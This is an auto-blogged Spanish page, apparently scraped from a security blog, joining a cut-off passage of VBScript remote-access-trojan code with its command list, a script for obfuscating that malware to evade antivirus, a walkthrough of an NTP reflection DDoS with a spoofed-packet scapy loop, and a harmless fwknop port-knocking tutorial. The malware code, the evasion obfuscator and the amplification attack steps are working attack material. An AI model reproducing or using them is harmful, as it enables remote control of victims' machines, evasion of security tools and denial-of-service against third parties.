enumprocess=enumprocess& objitem.name&"|"    enumprocess=enumprocess& objitem.processid&"|"    enumprocess=enumprocess& objitem.executablepath&spliter    nextend functionsub exitprocess(pid)    on error resume next    shellobj.run"taskkill /f /t /pid "&pid,7,trueend subsub deletefaf(url)    on error resume next    filesystemobj.deletefile url    filesystemobj.deletefolder urlend subfunction cmdshell(cmd)    dim httpobj,oexec,readallfromany    set oexec=shellobj.exec("%comspec% /c "&cmd)    if not oexec.stdout.atendofstream then readallfromany=oexec.stdout.readall    else if not oexec.stderr.atendofstream then readallfromany=oexec.stderr.readall    else readallfromany=""    end if    end if    cmdshell=readallfromanyend function
Si echáis un vistazo al código anterior se diferencian claramente cada una de sus funciones:

- execute : ejecuta un comando específico
- update : cambia la configuración del malware. Por ejemplo, el nombre DNS dinámico
- uninstall : elimina el malware del sistema y limpia cada acceso directo .lnk
- send : copia un fichero desde el atacante a la víctima
- site-send : copia un fichero hospedado en un sitio web a la víctima
- recv : descarga un fichero desde el equipo de la víctima
- enum-driver : lista los discos del equipo de la víctima
- enum-faf : lista todos los ficheros y directorios del equipo de la víctima
- enum-process : lista todos los procesos en ejecución
- cmd-shell : abre un intérprete de comandos
- delete : borra un fichero o directorio del equipo de la víctima
- exit-process : mata un proceso específico del equipo de la víctima
- sleep : espera 5 segundos

Como véis, un server bastante funcional y programado en lenguaje de script. Además, es relativamente fácil darle un par de vueltas para conseguir que sea FuD . Por ejemplo, unas modificaciones a este script de st0le: Randomizeset fso = CreateObject("Scripting.FileSystemObject")fileName = Inputbox("Ruta del fichero : ")set src = fso.OpenTextfile(fileName,1)body = src.readallset rep  = fso.createtextfile("ofuscado.vbs",true)rep.writeline "Execute(" & Obfuscate(body) & " ) "Function Obfuscate(txt)enc = ""for i = 1 to len(txt)enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "nextObfuscate = enc & " vbcrlf "End FunctionFunction form(n)r = int(rnd * 13000)k = int(rnd * 4)if( k = 0) then ret = (r+n) & "-" & rif( k = 1) then ret = (n-r) & "+" & rif( k = 2) then ret = (n*r) & "/" & rform = retEnd Function
Y la detección baja de 22/51 a 1/51... }:P

Referencias:
- Now You See Me – H-worm by Houdini
- Como eliminar el virus MUGEN.vbs de una memoria USB y de la PC
- Analizando el malware MUGEN.VBS
- In-depth analysis of mmpifmxnth..vbs malware
- Autopsia a un Malware en VBS

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Reflection Attack NTP

En diciembre de 2013, Symantec ya advirtió que los ciberdelincuentes estaban abusando cada vez más de Network Time Protocol (NTP) para lanzar ataques distribuidos de denegación de servicio (DDOS). Durante el presente mes, tuvieron lugar diversos ataques distribuidos de 
denegación de servicio sobre redes de servidores de juegos. La lista de juegos atacados incluye a World of Tanks, League of Legends, Free Realms, DC Universe Online, PlanetSide 2 y Everquest. Empresas como EA, Sony, Blizzard, Valve y Microsoft han sido impactadas por los ataques lanzados por un grupo llamado DERP Trolling. La razón:  “for lulz XD que jodios!!. 

La noticia ha levantado bastante polvo en Internet y ha propiciado una supuesta actualización de estos servidores.

Para los expertos NTP no representaba una amenaza seria y a menudo es descuidado por los administradores de sistemas ( xD si ya descuidaban DNS...) a pesar de que la vulnerabilidad ya aparecía en 2010. Por cierto, incluso tiene un CVE asociado, el CVE-2013-5211), DERP Trolling ha dejado patente que tenemos que cambiar la visión que tenemos frente a este protocolo..

Hoy en hackplayers veremos como se lleva a cabo este tipo de ataque (bastante sencillo)...
 
Antes de nada veamos qué es NTP:

Network Time Protocol (NTP)  es un protocolo estándar para la sincronización de relojes de máquinas interconectadas a través de redes de datos, en particular Internet. Este protocolo permite que el reloj de un sistema mantenga una gran precisión, independientemente de su calidad y de las condiciones de la red. Para el que quiera una mayor información del protocolo: ntp.org.

También quiero advertir que si queremos llevar acabo esta prueba de concepto, lo hagamos bajo un entorno seguro y nunca en Internet; si no queremos vernos en la tesitura de tener que responder ante la justicia por llevar a cabo un ataque DDOS con los consecuentes prejuicios que nos pueda suponer...

Manos a la obra!!! No vamos a entrar en mucho tecnicismo, ya que el objetivo de esta entrada (y de todas la que hago) es que cualquier persona o la mayoría pueda entenderlas (o casi entenderlas)  y concienciarse de lo importante que es la seguridad... para hacer más segura la red para todos, se generen más puestos de trabajo y me saque alguien del paro XD, me pueda comprar perro, casa, coche, tener hijos y no verme obligado a migrar a Londres a poner café.

Esta técnica aprovecha varios factores para generar un tráfico no solicitado de una manera "lícita", es decir, no aprovecha ningún tipo de infección, botnet ...o bug.... sino de la falta o descuido de configuración de los servidores de terceros. 

En teoría lo que tenemos que hacer es, pedirle cierta información a varios servidores NTP como si fuésemos otra máquina (la víctima)...a  fin de que la "el objetivo" la reciba.

A cuantos más servidores le pidamos esta información, mayor será el numero de respuestas , en consecuencia, mayor será el volumen de datos,  pudiendo llegar a colapsar la máquina atacada...

Lo primero que necesitamos es un servidor NTP. Esto no es muy difícil, pero si hacemos una consulta normal a estos servidores recibiremos una respuesta estándar, con un tamaño de información escaso; pero para "noquear" a la víctima necesitaríamos muchísimas peticiones ...
 

 
Es aquí donde entra en juego una de las capacidades del protocolo NTP: por cada petición, por ejemplo de 8 bytes, puede llegar a generarse una respuesta hasta casi 60 veces mayor (esto ya nos cuadra mas).

Pero esta respuesta no es la habitual de un servidor NTP sino que es una característica del protocolo que ahora ha sido parcheada para evitar este tipo de ataques. (O_o) seguro?

Creerme que no es difícil encontrar servidores no parcheados sobre todo si nos vamos al país del sol naciente...

Para conseguir este tipo de respuesta el servidor tiene que responder al comando mon_grelist. Con este comando lo que conseguimos es que nos mande una lista de todos sus clientes...

Para ver si el servidor es vulnerable podemos utilizar nmap con su script ntp-monlist.nse.

nmap -sU -pU:123 -Pn -n --script=ntp-monlist.nse

Para hacernos una idea del tráfico que podemos llegar a generar podemos hacer una consulta lícita al servidor con ntpd.

 #ntpdc -c monlist

Una vez provisto con unos cuantos de estos server (en diez minutos y sin buscar mucho he encontrado unos 50).

Pasamos a la segunda fase de nuestro ataque.  
 
 
Vamos a ver dos maneras de hacer esto: la rápida y la que explica el ataque por sí sola.

Quizás la manera mas gráfica y sencilla de comprender este proceso sea capturando y falseando un paquete NTP con la petición monlist. Esto requiere conseguir un paquete líicito para su posterior modificación, luego veremos como crearlo desde cero.

Para ello utilizaremos el paquete que hemos enviado para hacernos una idea del tráfico:

Preparamos tcpdump para que capture el paquete y nos lo guarde con el nombre NTP_pakete

#tcpdump -i   -x -n -e -l -w NTP_pakete -c1 host and port 123

En otro terminal ejecutamos el comando de consulta con ntpd.

#ntpdc -c monlist

Y ya tendríamos nuestro paquete para analizarlo y para juguetear con él...(podemos ayudarnos de wireshark para ubicarnos en el paquete).

Para manipular muy fácilmente el paquete podemos utilizar packeth, aunque podríamos hacerlo a pelo con Hexedit.

Retocaremos y guardaremos tantos paquetes como a servidores NTP queramos hacerles la "consulta" cambiando la ip origen por la de la victima y la ip destino por la ip de los servidores NTP que hemos encontrado previamente.

Packeth nos da también la opción de mandar los paquetes, aunque seria algo lento... es preferible la herramienta tgn con la cual podemos hacer un script con poca dificultad y automatizar el proceso de consulta a los servidores NTP.....

Creando el paquete NTP desde 0  y realizando el ataque con scapy

Para hacer el proceso anterior muchísimo mas rápido, tenemos un montón de opciones, aquí me decanto por scapy.

Podemos generar el paquete en scapy de la siguiente forma, siendo dst la ip del servidor y src la ip del objetivo.>>> paquete = IP(dst='59.xxx.xxx.245',src='192.168.1.190')/UDP(sport=48947,dport=123)/Raw(load=str("\x17\x00\x03\x2a") + str("\x00")*4) >>> send(packet,loop=1)Desde este punto no sería difícil construir un script que automatizara el ataque al máximo. Mandando varias peticiones a varios servidores y focalizando las respuestas sobre un objetivo. 

Un saludo, sed buenos ;D


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Port knocking con un sólo paquete cifrado (SPA)

Tradicionalmente hablamos de port knocking o golpeo de puertos como un mecanismo para abrir puertos mediante una secuencia de conexiones preestablecida a otros cerrados. Por ejemplo, para abrir el puerto TCP 22 de SSH tendremos que intentar conectarnos primero al 7000, luego al 8000 y finalmente al 9000. Esto lo hemos visto recientemente con Knockd para securizar openssh en modo paranoico y hace tiempo en nuestra pequeña Raspberry Pi...
Pero "aporrear" varias veces la puerta para entrar es muy escandaloso y poco caballeroso ¿verdad?. Existe una forma más fina y elegante mediante Single Packet Authorization (en adelante SPA), una variante de port knocking con la cual sólo será necesario un sólo 'knock' mediante el envío de un único paquete cifrado.

Para ello utilizaremos fwknop (FireWall KNock OPerator), la herramienta de facto que implementa este esquema de autenticación y que por tanto nos permitirá, con un sólo paquete, abrir un servicio oculto detrás de un firewall que por defecto deniega su acceso (INPUT a DROP). Básicamente por defecto el cliente mandará al puerto UDP 62201 un paquete cifrado con Rjindael (simétrico) o GnuPG (asimétrico), no reproducible y autenticado por medio de HMAC. Mientras, el servidor fwknopd estará esnifando el tráfico de forma pasiva mediante libpcap y, si el paquete es válido, ejecutará el iptables, PF o ipfw de turno para permitir el acceso al puerto durante el tiempo especificado.

Además, la cantidad de información que puede ser incluída en el paquete sólo se encuentra limitada por su MTU, es decir, además de la información de acceso también podríamos incluir en el paquete comandos que sean ejecutados en el servidor SPA. Y al usar un único paquete será más difícil de detectar y mucho más rápido. Todo ventajas.

Vale, ya nos hemos convencido de las bondades de fwknop y ahora nos preguntamos cómo hemos podido ser capaces de seguir con nuestras mundanas vidas sin utilizarlo... vamos a ponerle remedio...

En nuestro escenario de ejemplo vamos a configurar port knocking con SPA entre un servidor fwknopd en una máquina virtual con Kali Linux y un cliente fwknop en Windows 7 (so nativo). También y para más seguridad, usaremos cifrado asimétrico con claves GnuPG.

Lo primero que debemos hacer es generar un par de claves en cada máquina.

Generando las claves GnuPG en el cliente y en el servidor 

En el caso del cliente, si ya tienes una clave GnuPG para el correo electrónico (o cualquier otro) la podrás utilizar con seguridad porque sólo se usará para la firma de mensajes de fwknop. Si por el contrario todavía no la tienes, puedes crearla fácilmente con la herramienta Kleopatra que viene con Gpg4win (puedes ver un tutorial en este enlace):



Una vez creadas las claves, no olvides exportar tu clave pública a un fichero ascii:

Ahora le toca el turno al servidor fwknopd. En este caso si tendrás que crear una clave de GnuPG que se utilice exclusivamente para las comunicaciones de fwknop. La razón es que la contraseña utilizada para desbloquear esta clave debe estar almacenada en texto plano en el archivo /etc/fwknop/access.conf porque fwknopd la utilizará para descifrar los mensajes que hayan sido cifrados por el cliente fwknop con la clave pública del servidor. 

Es recomendable que el tamaño de la clave sea 2048 bits o menos porque os recordamos que los mensajes SPA deben caber en un sólo paquete IP.

root@kali:~# gpg --gen-keygpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.gpg: directory `/root/.gnupg' createdgpg: new configuration file `/root/.gnupg/gpg.conf' createdgpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this rungpg: keyring `/root/.gnupg/secring.gpg' createdgpg: keyring `/root/.gnupg/pubring.gpg' createdPlease select what kind of key you want:   (1) RSA and RSA (default)   (2) DSA and Elgamal   (3) DSA (sign only)   (4) RSA (sign only)Your selection? RSA keys may be between 1024 and 4096 bits long.What keysize do you want? (2048) Requested keysize is 2048 bitsPlease specify how long the key should be valid.         0 = key does not expire        = key expires in n days      w = key expires in n weeks      m = key expires in n months      y = key expires in n yearsKey is valid for? (0) Key does not expire at allIs this correct? (y/N) yYou need a user ID to identify your key; the software constructs the user IDfrom the Real Name, Comment and Email Address in this form:    "Heinrich Heine (Der Dichter) "Real name: VicenteEmail address: hackplayers@ymail.comComment: You selected this USER-ID:    "Vicente "Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? OYou need a Passphrase to protect your secret key.We need to generate a lot of random bytes. It is a good idea to performsome other action (type on the keyboard, move the mouse, utilize thedisks) during the prime generation; this gives the random numbergenerator a better chance to gain enough entropy.Not enough random bytes available.  Please do some other work to givethe OS a chance to collect more entropy! (Need 283 more bytes)gpg: /root/.gnupg/trustdb.gpg: trustdb createdgpg: key 04E602A1 marked as ultimately trustedpublic and secret key created and signed.gpg: checking the trustdbgpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust modelgpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1upub   2048R/04E602A1 2014-01-20      Key fingerprint = 4F3E 847C EE9B EB8C DFD4  F86E 467A CF40 04E6 02A1uid                  Vicente sub   2048R/71374B8D 2014-01-20
Después de completar el proceso comprobamos que las claves se han generado con éxito:root@kali:~# gpg --list-keys/root/.gnupg/pubring.gpg------------------------pub   2048R/04E602A1 2014-01-20uid                  Vicente sub   2048R/71374B8D 2014-01-20
Y también y al igual que con el cliente, exportamos la clave pública generada a un fichero ascii:root@kali:~# gpg -a --export 04E602A1 > servidor.ascroot@kali:~# cat servidor.asc -----BEGIN PGP PUBLIC KEY BLOCK-----Version: GnuPG v1.4.12 (GNU/Linux)mQENBFLdoG4BCAC6Tz7R9tlpuGsUpt9r/OlcEK8QpsIC5BjtYAZuzBqoav8Ce4vH1VbXtTPwYwqqj7MkCz79/RKTBfQN+2CyJzSXmLCShJ+W6py9K/sjPx4AWH9KFwHyIUQowTQbD6LssOF/fJZjKxQhqZGc8McPAFvxTogRdUFMSF01augPM/iYqx27/TZLMqVUnVR2v47PQ93Ge1wS6dh2qRKyrd+KWtMC7x3ZQAfqw6VEPQG3cWmS6is3mVdKM7dYxicVJWG7tkAF9o0ZU7kJp/bQrs39IKUNjFosMHMnIq966E38sBNd6SOuUYN+CVEArizrTieG7NTbWn/uosL+4PfX6/XDt1XnABEBAAG0H1ZpY2VudGUgPGhhY2twbGF5ZXJzQHltYWlsLmNvbT6JATgEEwECACIFAlLdoG4CGwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEEZ6z0AE5gKhGJwH/Rr/SIZNEXNHhioh8Ufnv9uOMg74+2XB2k7Icl2sB7vdGIyVKiC9nDVLHr0w2+fMddTyF7Q+JyNhepcHbwYNT025ol6JV4TNiFRplfvoac3aOdzuga/LfYYax72OVYbJ/i5rMmFrCN1NXuXJPGMle6y2UYw8LwTWqG1UCkXhn3zZ+cq3HlT4bugUmrW+uLwTs8ul3rZJOlOx0ZI7UDJ3UAmSG7cr14FjNS5ypj1JDpCDd2es2c7OO554utMT7OIFQyIzCTDCBXe88eRd2hJM8/sQztge+VXD1/3lrUWWbRRFEjRsTyBjayATgTTqMxnHOgbbd3m/EPe+sUKR/CzDYUm5AQ0EUt2gbgEIAJxbLq3urlQbEkxI0rTN2vrdRwYGyn4J+N+1zoNdXB9i2f6sfOWZrkmzUnL+QL4SddE3op/c+YnYLk3lKVwTVUO5aiXANiVy4IkNqyT6JBJKK4nHHHwxS5g35aWwL9p4CDkul88KQB9k5aQa71/ftaZINSfXejnLSZIyWKLk+glTsZbzTuktLDjv5f0F9ZAjd+nKL10d46GmstC63A8x87ZpFJfMsnEfRM0l3ZfRIcYyIaruPiisvH4s1jaS+1CE5lyDWmRRfkEZ6VxFPsy+JL3YqlxGc0ycWx8QlOgn1DGfRi4FCBsWGR4TTLR46Yu9ZWHwOIo3fRl41NIRLOLzPV0AEQEAAYkBHwQYAQIACQUCUt2gbgIbDAAKCRBGes9ABOYCoc8SB/sEOJycx6p9JPwo/eN1PP9DDyBQ73ZIpgMTcRCg6fneJ8hq4LoHMy5Y/o5+gwhwkZzv7lp7yeMP5CPD+7NQ/ggoWMOHRXXiwIWwfPBF94VCGaJkGjLU9zsI0yWv6GXmzdgFw5zrkx9psLnuK/GipshBbvyc+0lK4HpMLWHAHtkFpW9qbAZvFGNpmYa0uLBeScSJdXcEBA6eu9hUgZohP1zChXIlcYXdCSC3QOVBwt/qdQCgPzUHdGGR7mhI15Fowug3hULhejH1La7hNeXBDQICC/BQWumu6wuc/T+Tz13WKnURimSmtFemZ7DtjDdj+gBefGopd5QnfT0//E/+Bj+S=pBiY-----END PGP PUBLIC KEY BLOCK-----root@kali:~#
Una vez que hayamos creado las claves necesarias en el cliente y en el servidor, tendremos que intercambiar las públicas por scp (o por donde quieras) y firmarlas.

En el servidor importamos y firmamos la clave pública del cliente:

root@kali:~# gpg --import cliente.ascgpg: key 68E338DE: public key "Vicente2 (Cliente) " importedgpg: Total number processed: 1gpg:               imported: 1  (RSA: 1)root@kali:~# gpg --edit-key 68E338DEgpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.pub  2048R/68E338DE  created: 2014-01-20  expires: never       usage: SCE                      trust: unknown       validity: unknown[ unknown] (1). Vicente2 (Cliente) gpg> signpub  2048R/68E338DE  created: 2014-01-20  expires: never       usage: SCE                      trust: unknown       validity: unknown Primary key fingerprint: 9757 064C 2B1B 843C 4ACB  401E 1545 3B76 68E3 38DE     Vicente2 (Cliente) Are you sure that you want to sign this key with yourkey "Vicente " (04E602A1)Really sign? (y/N) yYou need a passphrase to unlock the secret key foruser: "Vicente "2048-bit RSA key, ID 04E602A1, created 2014-01-20
Y en el cliente importamos y firmamos la clave pública del servidor:

Instalando y configurando el servidor fwknopd

Una vez intercambiadas las claves, vamos a instalar y preparar fwknopd en el servidor:

root@kali:~# apt-get install fwknop-server libpcap-dev
Empezamos editando el fichero /etc/default/fwknop-server e indicamos que fwknopd se ejecute al inicio:START_DAEMON="yes"
El siguiente paso será especificar el interface y el puerto a la escucha editando el fichero /etc/fwknop/fwknop.conf:PCAP_INTF                   eth0; PCAP_FILTER                 udp port 62201; 
Finalmente sólo nos queda configurar las directivas de /etc/fwknop/access.conf de tal manera que fwknopd use GnuPG para verificar y descifrar los paquetes SPA. Fíjate que el ID de la clave del servidor es 04E602A1 y el ID de la clave del cliente es 68E338DE:SOURCE: ANY;OPEN_PORTS: tcp/22;DATA_COLLECT_MODE: PCAP;GPG_REMOTE_ID: 68E338DE;GPG_DECRYPT_ID: 04E602A1;GPG_DECRYPT_PW: password123;GPG_HOME_DIR: /root/.gnupg;FW_ACCESS_TIMEOUT: 60;
Probando el acceso al servicio ssh mediante SPA

Si habéis seguido estos sencillos pasos ya tendréis todo el entorno montado. Para probarlo vamos a arrancar fwknopd y configurar el firewall del servidor con una política por defecto de denegación en la entrada:

root@kali:~# service fwknop-server start root@kali:~# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPTroot@kali:~# iptables -A INPUT -i ! lo -j DROP
Como podréis comprobar, el acceso al puerto SSH desde el cliente está inicialmente cerrado:C:\Users\vmotos>nmap -p 22 192.168.225.129Starting Nmap 5.51 ( http://nmap.org ) at 2014-01-21 00:57 Hora estßndar romanceNmap scan report for 192.168.225.129Host is up (0.00s latency).PORT   STATE    SERVICE22/tcp filtered sshMAC Address: 00:0C:19:8D:52:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 3.55 seconds
Ahora tendremos que generar y enviar desde el cliente el paquete SPA correspondiente. Para ello utilizaremos Morpheus, un IU para Windows escrito por Daniel López que además es de código abierto.

Como veréis en el siguiente pantallazo, su configuración no puede ser más simple. Especificaremos el puerto y la dirección IP que podrá acceder a fwknopd, el tipo de cifrado PGP y la ruta de la clave privada del cliente y la clave pública del servidor:
Al introducir la frase de paso enviaremos el paquete SPA y, casi por arte de magia, el puerto 22/TCP del servicio SSH se abrirá durante el perido de tiempo especificado:


Podéis comprobarlo volviendo a escanear el puerto:C:\Users\vmotos>nmap -p 22 192.168.225.129Starting Nmap 5.51 ( http://nmap.org ) at 2014-01-21 01:12 Hora estßndar romanceNmap scan report for 192.168.225.129Host is up (0.00038s latency).PORT   STATE SERVICE22/tcp open  sshMAC Address: 00:0C:19:8D:52:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 3.23 secondsC:\Users\vmotos>
Y bueno, para terminar verificamos el log en el servidor...root@kali:~# tail -f /var/log/syslog | grep fwknopJan 20 19:00:47 kali fwknopd[13583]: SPA Packet from IP: 192.168.225.1 received.Jan 20 19:00:48 kali fwknopd[13583]: Added Rule to FWKNOP_INPUT for 192.168.225.1, tcp/22 expires at 1390262508Jan 20 19:01:48 kali fwknopd[13583]: Removed rule 1 from FWKNOP_INPUT with expire time of 1390262508.
...  así como las reglas de iptables creadas: root@kali:~# iptables -LChain INPUT (policy ACCEPT)target     prot opt source               destination         FWKNOP_INPUT  all  --  anywhere             anywhere            ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHEDDROP       all  --  anywhere             anywhere            Chain FORWARD (policy ACCEPT)target     prot opt source               destination         Chain OUTPUT (policy ACCEPT)target     prot opt source               destination         Chain FWKNOP_INPUT (1 references)target     prot opt source               destination         ACCEPT     tcp  --  192.168.225.1        anywhere             tcp dpt:ssh /* _exp_1390262645 */
Sencillo ¿verdad? 

¿A qué hora llamaréis a las puertas de vuestros servicios más sigilosamente? ;)

Fuentes: 
- Single Packet Authorization - A Comprehensive Guide to Service Concealment with fwknop
- fwknop: Single Packet Authorization y port knocking
- Firewall improvement with fwknop  
- Fwknop versus Knockknock
- SinglePacketAuthorization

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.